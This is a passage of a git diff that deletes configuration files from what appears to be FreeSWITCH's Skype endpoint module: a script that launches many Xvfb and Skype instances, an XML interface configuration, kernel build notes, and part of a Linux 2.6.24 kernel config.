-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:129  /usr/bin/skype --dbpath=/root/multi/skypiax129 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :130 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:130  /usr/bin/skype --dbpath=/root/multi/skypiax130 --pipelogin &"
-
-sleep 7
-
-exit 0
-
- /usr/bin/Xvfb :131 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:131  /usr/bin/skype --dbpath=/root/multi/skypiax131 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :132 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:132  /usr/bin/skype --dbpath=/root/multi/skypiax132 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :133 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:133  /usr/bin/skype --dbpath=/root/multi/skypiax133 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :134 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:134  /usr/bin/skype --dbpath=/root/multi/skypiax134 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :135 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:135  /usr/bin/skype --dbpath=/root/multi/skypiax135 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :136 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:136  /usr/bin/skype --dbpath=/root/multi/skypiax136 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :137 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:137  /usr/bin/skype --dbpath=/root/multi/skypiax137 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :138 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:138  /usr/bin/skype --dbpath=/root/multi/skypiax138 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :139 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:139  /usr/bin/skype --dbpath=/root/multi/skypiax139 --pipelogin &"
-
-sleep 7
- /usr/bin/Xvfb :140 -ac & 
-sleep 3
-
-su root -c "/bin/echo 'skypiax2 xxxx'| DISPLAY=:140  /usr/bin/skype --dbpath=/root/multi/skypiax140 --pipelogin &"
-
-sleep 7
-
diff --git a/src/mod/endpoints/mod_skypopen/configs/multiple-instance-same-skype-username/skypiax.conf.xml b/src/mod/endpoints/mod_skypopen/configs/multiple-instance-same-skype-username/skypiax.conf.xml
deleted file mode 100644 (file)
index 6f57f26..0000000
+++ /dev/null
@@ -1,418 +0,0 @@
-<configuration name="skypiax.conf" description="Skypiax Configuration">
-  <global_settings>
-    <param name="debug" value="8"/>
-    <param name="codec-master" value="us"/>
-    <param name="dialplan" value="XML"/>
-    <param name="context" value="default"/>
-    <param name="codec-prefs" value="gsm,ulaw"/>
-    <param name="codec-rates" value="8000,16000"/>
-    <param name="hold-music" value="$${moh_uri}"/>
-    <param name="destination" value="5000"/>
-  </global_settings>
-  <!-- one entry here per skypiax interface -->
-  <per_interface_settings>
-    <interface id="1" name="skypiax1">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":101"/>
-       <param name="tcp_cli_port" value="15556"/>
-       <param name="tcp_srv_port" value="15557"/>
-       <param name="skype_user" value="skypiax1"/>
-       <param name="destination" value="5000"/>
-    </interface>
-    <interface id="2" name="skypiax2">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":102"/>
-       <param name="tcp_cli_port" value="15558"/>
-       <param name="tcp_srv_port" value="15559"/>
-       <param name="skype_user" value="skypiax1"/>
-       <param name="destination" value="5000"/>
-    </interface>
-    <interface id="3" name="skypiax3">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":103"/>
-       <param name="tcp_cli_port" value="15560"/>
-       <param name="tcp_srv_port" value="15561"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="4" name="skypiax4">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":104"/>
-       <param name="tcp_cli_port" value="15562"/>
-       <param name="tcp_srv_port" value="15563"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="5" name="skypiax5">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":105"/>
-       <param name="tcp_cli_port" value="15564"/>
-       <param name="tcp_srv_port" value="15565"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-    <interface id="6" name="skypiax6">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":106"/>
-       <param name="tcp_cli_port" value="15566"/>
-       <param name="tcp_srv_port" value="15567"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-    <interface id="7" name="skypiax7">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":107"/>
-       <param name="tcp_cli_port" value="15568"/>
-       <param name="tcp_srv_port" value="15569"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="8" name="skypiax8">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":108"/>
-       <param name="tcp_cli_port" value="15570"/>
-       <param name="tcp_srv_port" value="15571"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="9" name="skypiax9">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":109"/>
-       <param name="tcp_cli_port" value="15572"/>
-       <param name="tcp_srv_port" value="15573"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="10" name="skypiax10">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":110"/>
-       <param name="tcp_cli_port" value="15574"/>
-       <param name="tcp_srv_port" value="15575"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <!-- following interfaces are commented out!
-    <interface id="11" name="skypiax11">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":111"/>
-       <param name="tcp_cli_port" value="15576"/>
-       <param name="tcp_srv_port" value="15577"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="12" name="skypiax12">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":112"/>
-       <param name="tcp_cli_port" value="15578"/>
-       <param name="tcp_srv_port" value="15579"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="13" name="skypiax13">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":113"/>
-       <param name="tcp_cli_port" value="15580"/>
-       <param name="tcp_srv_port" value="15581"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="14" name="skypiax14">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":114"/>
-       <param name="tcp_cli_port" value="15582"/>
-       <param name="tcp_srv_port" value="15583"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="15" name="skypiax15">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":115"/>
-       <param name="tcp_cli_port" value="15584"/>
-       <param name="tcp_srv_port" value="15585"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="16" name="skypiax16">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":116"/>
-       <param name="tcp_cli_port" value="15586"/>
-       <param name="tcp_srv_port" value="15587"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="17" name="skypiax17">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":117"/>
-       <param name="tcp_cli_port" value="15588"/>
-       <param name="tcp_srv_port" value="15589"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="18" name="skypiax18">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":118"/>
-       <param name="tcp_cli_port" value="15590"/>
-       <param name="tcp_srv_port" value="15591"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="19" name="skypiax19">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":119"/>
-       <param name="tcp_cli_port" value="15592"/>
-       <param name="tcp_srv_port" value="15593"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    <interface id="20" name="skypiax20">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":120"/>
-       <param name="tcp_cli_port" value="15594"/>
-       <param name="tcp_srv_port" value="15595"/>
-       <param name="skype_user" value="skypiax1"/>
-    </interface>
-
-    -->
-
-    <interface id="21" name="skypiax21">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":121"/>
-       <param name="tcp_cli_port" value="25556"/>
-       <param name="tcp_srv_port" value="25557"/>
-       <param name="skype_user" value="skypiax2"/>
-       <param name="destination" value="5000"/>
-    </interface>
-    <interface id="22" name="skypiax22">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":122"/>
-       <param name="tcp_cli_port" value="25558"/>
-       <param name="tcp_srv_port" value="25559"/>
-       <param name="skype_user" value="skypiax2"/>
-       <param name="destination" value="5000"/>
-    </interface>
-    <interface id="23" name="skypiax23">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":123"/>
-       <param name="tcp_cli_port" value="25560"/>
-       <param name="tcp_srv_port" value="25561"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="24" name="skypiax24">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":124"/>
-       <param name="tcp_cli_port" value="25562"/>
-       <param name="tcp_srv_port" value="25563"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="25" name="skypiax25">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":125"/>
-       <param name="tcp_cli_port" value="25564"/>
-       <param name="tcp_srv_port" value="25565"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-    <interface id="26" name="skypiax26">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":126"/>
-       <param name="tcp_cli_port" value="25566"/>
-       <param name="tcp_srv_port" value="25567"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-    <interface id="27" name="skypiax27">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":127"/>
-       <param name="tcp_cli_port" value="25568"/>
-       <param name="tcp_srv_port" value="25569"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="28" name="skypiax28">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":128"/>
-       <param name="tcp_cli_port" value="25570"/>
-       <param name="tcp_srv_port" value="25571"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="29" name="skypiax29">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":129"/>
-       <param name="tcp_cli_port" value="25572"/>
-       <param name="tcp_srv_port" value="25573"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="30" name="skypiax30">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":130"/>
-       <param name="tcp_cli_port" value="25574"/>
-       <param name="tcp_srv_port" value="25575"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <!-- following interfaces are commented out!
-    <interface id="31" name="skypiax31">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":131"/>
-       <param name="tcp_cli_port" value="25576"/>
-       <param name="tcp_srv_port" value="25577"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="32" name="skypiax32">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":132"/>
-       <param name="tcp_cli_port" value="25578"/>
-       <param name="tcp_srv_port" value="25579"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="33" name="skypiax33">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":133"/>
-       <param name="tcp_cli_port" value="25580"/>
-       <param name="tcp_srv_port" value="25581"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="34" name="skypiax34">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":134"/>
-       <param name="tcp_cli_port" value="25582"/>
-       <param name="tcp_srv_port" value="25583"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="35" name="skypiax35">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":135"/>
-       <param name="tcp_cli_port" value="25584"/>
-       <param name="tcp_srv_port" value="25585"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="36" name="skypiax36">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":136"/>
-       <param name="tcp_cli_port" value="25586"/>
-       <param name="tcp_srv_port" value="25587"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="37" name="skypiax37">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":137"/>
-       <param name="tcp_cli_port" value="25588"/>
-       <param name="tcp_srv_port" value="25589"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="38" name="skypiax38">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":138"/>
-       <param name="tcp_cli_port" value="25590"/>
-       <param name="tcp_srv_port" value="25591"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="39" name="skypiax39">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":139"/>
-       <param name="tcp_cli_port" value="25592"/>
-       <param name="tcp_srv_port" value="25593"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-
-    <interface id="40" name="skypiax40">
-       <param name="hold-music" value="$${moh_uri}"/>
-       <param name="dialplan" value="XML"/>
-       <param name="context" value="default"/>
-       <param name="X11-display" value=":140"/>
-       <param name="tcp_cli_port" value="25594"/>
-       <param name="tcp_srv_port" value="25595"/>
-       <param name="skype_user" value="skypiax2"/>
-    </interface>
-    -->
-
-
-
-  </per_interface_settings>
-</configuration>
diff --git a/src/mod/endpoints/mod_skypopen/kernel/README-linux-2.6.24.7 b/src/mod/endpoints/mod_skypopen/kernel/README-linux-2.6.24.7
deleted file mode 100644 (file)
index 28a2d90..0000000
+++ /dev/null
@@ -1,12 +0,0 @@
-#using linux-2.6.24.7.tar.bz2 from kernel.org
-wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.24.7.tar.bz2
-tar  xjf linux-2.6.24.7.tar.bz2
-cd linux-2.6.24.7
-make mrproper
-cp ../config-linux-2.6.24.7-skypiax08D01 .config
-cp ../dummy.c.skypiax sound/drivers/dummy.c #optional step, halves the load
-make
-make install
-make modules_install
-make install
-#enjoy
diff --git a/src/mod/endpoints/mod_skypopen/kernel/config-linux-2.6.24.7-skypiax08D01 b/src/mod/endpoints/mod_skypopen/kernel/config-linux-2.6.24.7-skypiax08D01
deleted file mode 100644 (file)
index b1bafd0..0000000
+++ /dev/null
@@ -1,2979 +0,0 @@
-#
-# Automatically generated make config: don't edit
-# Linux kernel version: 2.6.24.7
-# Sun Jun 28 16:53:34 2009
-#
-CONFIG_64BIT=y
-# CONFIG_X86_32 is not set
-CONFIG_X86_64=y
-CONFIG_X86=y
-CONFIG_GENERIC_TIME=y
-CONFIG_GENERIC_CMOS_UPDATE=y
-CONFIG_CLOCKSOURCE_WATCHDOG=y
-CONFIG_GENERIC_CLOCKEVENTS=y
-CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y
-CONFIG_LOCKDEP_SUPPORT=y
-CONFIG_STACKTRACE_SUPPORT=y
-CONFIG_SEMAPHORE_SLEEPERS=y
-CONFIG_MMU=y
-CONFIG_ZONE_DMA=y
-# CONFIG_QUICKLIST is not set
-CONFIG_GENERIC_ISA_DMA=y
-CONFIG_GENERIC_IOMAP=y
-CONFIG_GENERIC_BUG=y
-CONFIG_GENERIC_HWEIGHT=y
-CONFIG_ARCH_MAY_HAVE_PC_FDC=y
-CONFIG_DMI=y
-CONFIG_RWSEM_GENERIC_SPINLOCK=y
-# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set
-# CONFIG_ARCH_HAS_ILOG2_U32 is not set
-# CONFIG_ARCH_HAS_ILOG2_U64 is not set
-CONFIG_GENERIC_CALIBRATE_DELAY=y
-CONFIG_GENERIC_TIME_VSYSCALL=y
-CONFIG_ARCH_SUPPORTS_OPROFILE=y
-CONFIG_ZONE_DMA32=y
-CONFIG_ARCH_POPULATES_NODE_MAP=y
-CONFIG_AUDIT_ARCH=y
-CONFIG_GENERIC_HARDIRQS=y
-CONFIG_GENERIC_IRQ_PROBE=y
-CONFIG_GENERIC_PENDING_IRQ=y
-CONFIG_X86_HT=y
-# CONFIG_KTIME_SCALAR is not set
-CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"
-
-#
-# General setup
-#
-CONFIG_EXPERIMENTAL=y
-CONFIG_LOCK_KERNEL=y
-CONFIG_INIT_ENV_ARG_LIMIT=32
-CONFIG_LOCALVERSION="skypiax08D01"
-# CONFIG_LOCALVERSION_AUTO is not set
-CONFIG_SWAP=y
-CONFIG_SYSVIPC=y
-CONFIG_SYSVIPC_SYSCTL=y
-CONFIG_POSIX_MQUEUE=y
-CONFIG_BSD_PROCESS_ACCT=y
-# CONFIG_BSD_PROCESS_ACCT_V3 is not set
-CONFIG_TASKSTATS=y
-CONFIG_TASK_DELAY_ACCT=y
-# CONFIG_TASK_XACCT is not set
-# CONFIG_USER_NS is not set
-# CONFIG_PID_NS is not set
-CONFIG_AUDIT=y
-CONFIG_AUDITSYSCALL=y
-CONFIG_AUDIT_TREE=y
-# CONFIG_IKCONFIG is not set
-CONFIG_LOG_BUF_SHIFT=17
-# CONFIG_CGROUPS is not set
-CONFIG_FAIR_GROUP_SCHED=y
-CONFIG_FAIR_USER_SCHED=y
-# CONFIG_FAIR_CGROUP_SCHED is not set
-CONFIG_SYSFS_DEPRECATED=y
-CONFIG_RELAY=y
-CONFIG_BLK_DEV_INITRD=y
-CONFIG_INITRAMFS_SOURCE=""
-CONFIG_CC_OPTIMIZE_FOR_SIZE=y
-CONFIG_SYSCTL=y
-# CONFIG_EMBEDDED is not set
-CONFIG_UID16=y
-CONFIG_SYSCTL_SYSCALL=y
-CONFIG_KALLSYMS=y
-# CONFIG_KALLSYMS_ALL is not set
-CONFIG_KALLSYMS_EXTRA_PASS=y
-CONFIG_HOTPLUG=y
-CONFIG_PRINTK=y
-CONFIG_BUG=y
-CONFIG_ELF_CORE=y
-CONFIG_BASE_FULL=y
-CONFIG_FUTEX=y
-CONFIG_ANON_INODES=y
-CONFIG_EPOLL=y
-CONFIG_SIGNALFD=y
-CONFIG_EVENTFD=y
-CONFIG_SHMEM=y
-CONFIG_VM_EVENT_COUNTERS=y
-CONFIG_SLAB=y
-# CONFIG_SLUB is not set
-# CONFIG_SLOB is not set
-CONFIG_SLABINFO=y
-CONFIG_RT_MUTEXES=y
-# CONFIG_TINY_SHMEM is not set
-CONFIG_BASE_SMALL=0
-CONFIG_MODULES=y
-CONFIG_MODULE_UNLOAD=y
-# CONFIG_MODULE_FORCE_UNLOAD is not set
-CONFIG_MODVERSIONS=y
-CONFIG_MODULE_SRCVERSION_ALL=y
-CONFIG_KMOD=y
-CONFIG_STOP_MACHINE=y
-CONFIG_BLOCK=y
-CONFIG_BLK_DEV_IO_TRACE=y
-# CONFIG_BLK_DEV_BSG is not set
-CONFIG_BLOCK_COMPAT=y
-
-#
-# IO Schedulers
-#
-CONFIG_IOSCHED_NOOP=y
-CONFIG_IOSCHED_AS=y
-CONFIG_IOSCHED_DEADLINE=y
-CONFIG_IOSCHED_CFQ=y
-# CONFIG_DEFAULT_AS is not set
-# CONFIG_DEFAULT_DEADLINE is not set
-CONFIG_DEFAULT_CFQ=y
-# CONFIG_DEFAULT_NOOP is not set
-CONFIG_DEFAULT_IOSCHED="cfq"
-
-#
-# Processor type and features
-#
-CONFIG_TICK_ONESHOT=y
-CONFIG_NO_HZ=y
-# CONFIG_HIGH_RES_TIMERS is not set
-CONFIG_GENERIC_CLOCKEVENTS_BUILD=y
-CONFIG_SMP=y
-CONFIG_X86_PC=y
-# CONFIG_X86_ELAN is not set
-# CONFIG_X86_VOYAGER is not set
-# CONFIG_X86_NUMAQ is not set
-# CONFIG_X86_SUMMIT is not set
-# CONFIG_X86_BIGSMP is not set
-# CONFIG_X86_VISWS is not set
-# CONFIG_X86_GENERICARCH is not set
-# CONFIG_X86_ES7000 is not set
-# CONFIG_X86_VSMP is not set
-# CONFIG_M386 is not set
-# CONFIG_M486 is not set
-# CONFIG_M586 is not set
-# CONFIG_M586TSC is not set
-# CONFIG_M586MMX is not set
-# CONFIG_M686 is not set
-# CONFIG_MPENTIUMII is not set
-# CONFIG_MPENTIUMIII is not set
-# CONFIG_MPENTIUMM is not set
-# CONFIG_MPENTIUM4 is not set
-# CONFIG_MK6 is not set
-# CONFIG_MK7 is not set
-# CONFIG_MK8 is not set
-# CONFIG_MCRUSOE is not set
-# CONFIG_MEFFICEON is not set
-# CONFIG_MWINCHIPC6 is not set
-# CONFIG_MWINCHIP2 is not set
-# CONFIG_MWINCHIP3D is not set
-# CONFIG_MGEODEGX1 is not set
-# CONFIG_MGEODE_LX is not set
-# CONFIG_MCYRIXIII is not set
-# CONFIG_MVIAC3_2 is not set
-# CONFIG_MVIAC7 is not set
-# CONFIG_MPSC is not set
-# CONFIG_MCORE2 is not set
-CONFIG_GENERIC_CPU=y
-CONFIG_X86_L1_CACHE_BYTES=128
-CONFIG_X86_INTERNODE_CACHE_BYTES=128
-CONFIG_X86_CMPXCHG=y
-CONFIG_X86_L1_CACHE_SHIFT=7
-CONFIG_X86_GOOD_APIC=y
-CONFIG_X86_TSC=y
-CONFIG_X86_MINIMUM_CPU_FAMILY=64
-CONFIG_HPET_TIMER=y
-CONFIG_HPET_EMULATE_RTC=y
-CONFIG_GART_IOMMU=y
-CONFIG_CALGARY_IOMMU=y
-# CONFIG_CALGARY_IOMMU_ENABLED_BY_DEFAULT is not set
-CONFIG_SWIOTLB=y
-CONFIG_NR_CPUS=255
-CONFIG_SCHED_SMT=y
-CONFIG_SCHED_MC=y
-# CONFIG_PREEMPT_NONE is not set
-CONFIG_PREEMPT_VOLUNTARY=y
-# CONFIG_PREEMPT is not set
-CONFIG_PREEMPT_BKL=y
-CONFIG_X86_LOCAL_APIC=y
-CONFIG_X86_IO_APIC=y
-CONFIG_X86_MCE=y
-CONFIG_X86_MCE_INTEL=y
-CONFIG_X86_MCE_AMD=y
-CONFIG_MICROCODE=m
-CONFIG_MICROCODE_OLD_INTERFACE=y
-CONFIG_X86_MSR=y
-CONFIG_X86_CPUID=y
-CONFIG_NUMA=y
-CONFIG_K8_NUMA=y
-CONFIG_X86_64_ACPI_NUMA=y
-# CONFIG_NUMA_EMU is not set
-CONFIG_NODES_SHIFT=6
-CONFIG_ARCH_DISCONTIGMEM_ENABLE=y
-CONFIG_ARCH_DISCONTIGMEM_DEFAULT=y
-CONFIG_ARCH_SPARSEMEM_ENABLE=y
-CONFIG_ARCH_MEMORY_PROBE=y
-CONFIG_SELECT_MEMORY_MODEL=y
-# CONFIG_FLATMEM_MANUAL is not set
-# CONFIG_DISCONTIGMEM_MANUAL is not set
-CONFIG_SPARSEMEM_MANUAL=y
-CONFIG_SPARSEMEM=y
-CONFIG_NEED_MULTIPLE_NODES=y
-CONFIG_HAVE_MEMORY_PRESENT=y
-# CONFIG_SPARSEMEM_STATIC is not set
-CONFIG_SPARSEMEM_EXTREME=y
-CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y
-CONFIG_SPARSEMEM_VMEMMAP=y
-CONFIG_MEMORY_HOTPLUG=y
-CONFIG_MEMORY_HOTPLUG_SPARSE=y
-CONFIG_SPLIT_PTLOCK_CPUS=4
-CONFIG_MIGRATION=y
-CONFIG_RESOURCES_64BIT=y
-CONFIG_ZONE_DMA_FLAG=1
-CONFIG_BOUNCE=y
-CONFIG_VIRT_TO_BUS=y
-CONFIG_MTRR=y
-# CONFIG_SECCOMP is not set
-# CONFIG_CC_STACKPROTECTOR is not set
-CONFIG_HZ_100=y
-# CONFIG_HZ_250 is not set
-# CONFIG_HZ_300 is not set
-# CONFIG_HZ_1000 is not set
-CONFIG_HZ=100
-CONFIG_KEXEC=y
-CONFIG_CRASH_DUMP=y
-CONFIG_PHYSICAL_START=0x200000
-# CONFIG_RELOCATABLE is not set
-CONFIG_PHYSICAL_ALIGN=0x200000
-CONFIG_HOTPLUG_CPU=y
-CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
-CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID=y
-
-#
-# Power management options
-#
-CONFIG_PM=y
-CONFIG_PM_LEGACY=y
-# CONFIG_PM_DEBUG is not set
-CONFIG_PM_SLEEP_SMP=y
-CONFIG_PM_SLEEP=y
-CONFIG_SUSPEND_SMP_POSSIBLE=y
-CONFIG_SUSPEND=y
-CONFIG_HIBERNATION_SMP_POSSIBLE=y
-# CONFIG_HIBERNATION is not set
-CONFIG_ACPI=y
-CONFIG_ACPI_SLEEP=y
-# CONFIG_ACPI_PROCFS is not set
-CONFIG_ACPI_PROCFS_POWER=y
-CONFIG_ACPI_SYSFS_POWER=y
-CONFIG_ACPI_PROC_EVENT=y
-CONFIG_ACPI_AC=m
-CONFIG_ACPI_BATTERY=m
-CONFIG_ACPI_BUTTON=m
-CONFIG_ACPI_FAN=y
-CONFIG_ACPI_DOCK=y
-CONFIG_ACPI_BAY=y
-CONFIG_ACPI_PROCESSOR=y
-CONFIG_ACPI_HOTPLUG_CPU=y
-CONFIG_ACPI_THERMAL=y
-CONFIG_ACPI_NUMA=y
-CONFIG_ACPI_ASUS=m
-CONFIG_ACPI_TOSHIBA=m
-CONFIG_ACPI_BLACKLIST_YEAR=0
-# CONFIG_ACPI_DEBUG is not set
-CONFIG_ACPI_EC=y
-CONFIG_ACPI_POWER=y
-CONFIG_ACPI_SYSTEM=y
-CONFIG_X86_PM_TIMER=y
-CONFIG_ACPI_CONTAINER=y
-CONFIG_ACPI_HOTPLUG_MEMORY=m
-CONFIG_ACPI_SBS=m
-
-#
-# CPU Frequency scaling
-#
-CONFIG_CPU_FREQ=y
-CONFIG_CPU_FREQ_TABLE=m
-CONFIG_CPU_FREQ_DEBUG=y
-CONFIG_CPU_FREQ_STAT=m
